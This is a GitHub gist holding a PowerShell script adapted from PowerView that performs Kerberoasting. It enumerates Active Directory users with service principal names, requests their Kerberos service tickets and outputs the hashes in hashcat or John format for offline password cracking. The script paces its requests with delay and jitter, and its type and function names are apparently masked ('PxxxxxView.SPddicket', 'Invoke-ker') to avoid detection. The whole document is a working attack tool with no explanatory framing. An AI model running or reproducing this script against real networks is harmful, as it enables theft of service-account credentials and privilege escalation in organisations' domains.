Skip to content

Instantly share code, notes, and snippets.

@sparcflow
Created December 25, 2020 11:24
Show Gist options
  • Save sparcflow/c7856332a09353325b9888d2b769ee2e to your computer and use it in GitHub Desktop.
Save sparcflow/c7856332a09353325b9888d2b769ee2e to your computer and use it in GitHub Desktop.
function Get-DomainSearcher {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
if ($PSBoundParameters['Credential']) {
$DomainObject = Get-Domain -Credential $Credential
}
else {
$DomainObject = Get-Domain
}
$TargetDomain = $DomainObject.Name
}
if (-not $PSBoundParameters['Server']) {
try {
if ($DomainObject) {
$BindServer = $DomainObject.PdcRoleOwner.Name
}
elseif ($PSBoundParameters['Credential']) {
$BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
}
else {
$BindServer = ((Get-Domain).PdcRoleOwner).Name
}
}
catch {
throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
}
}
else {
$BindServer = $Server
}
$SearchString = 'LDAP://'
if ($BindServer -and ($BindServer.Trim() -ne '')) {
$SearchString += $BindServer
if ($TargetDomain) {
$SearchString += '/'
}
}
if ($PSBoundParameters['SearchBasePrefix']) {
$SearchString += $SearchBasePrefix + ','
}
if ($PSBoundParameters['SearchBase']) {
if ($SearchBase -Match '^GC://') {
$DN = $SearchBase.ToUpper().Trim('/')
$SearchString = ''
}
else {
if ($SearchBase -match '^LDAP://') {
if ($SearchBase -match "LDAP://.+/.+") {
$SearchString = ''
$DN = $SearchBase
}
else {
$DN = $SearchBase.SubString(7)
}
}
else {
$DN = $SearchBase
}
}
}
else {
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
}
}
$SearchString += $DN
Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}
$Searcher.PageSize = $ResultPageSize
$Searcher.SearchScope = $SearchScope
$Searcher.CacheResults = $False
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
if ($PSBoundParameters['ServerTimeLimit']) {
$Searcher.ServerTimeLimit = $ServerTimeLimit
}
if ($PSBoundParameters['Tombstone']) {
$Searcher.Tombstone = $True
}
if ($PSBoundParameters['LDAPFilter']) {
$Searcher.filter = $LDAPFilter
}
if ($PSBoundParameters['SecurityMasks']) {
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
'None' { [System.DirectoryServices.SecurityMasks]::None }
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
}
}
if ($PSBoundParameters['Properties']) {
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
}
$Searcher
}
}
function Convert-LDAPProperty {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
function Get-Domain {
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainSPNTicket {
[OutputType('PxxxxxView.SPddicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('john', 'hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'hashcat',
[ValidateRange(0,10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
$RandNo = New-Object System.Random
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
$Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket')
Write-Output $Out
}
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-DomainUser {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
<#
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
#>
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
#if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
# New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
#}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function Invoke-ker {
[OutputType('PxxxxxView.SPddicket')]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateRange(0,10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[ValidateSet('john', 'hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'hashcat'
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment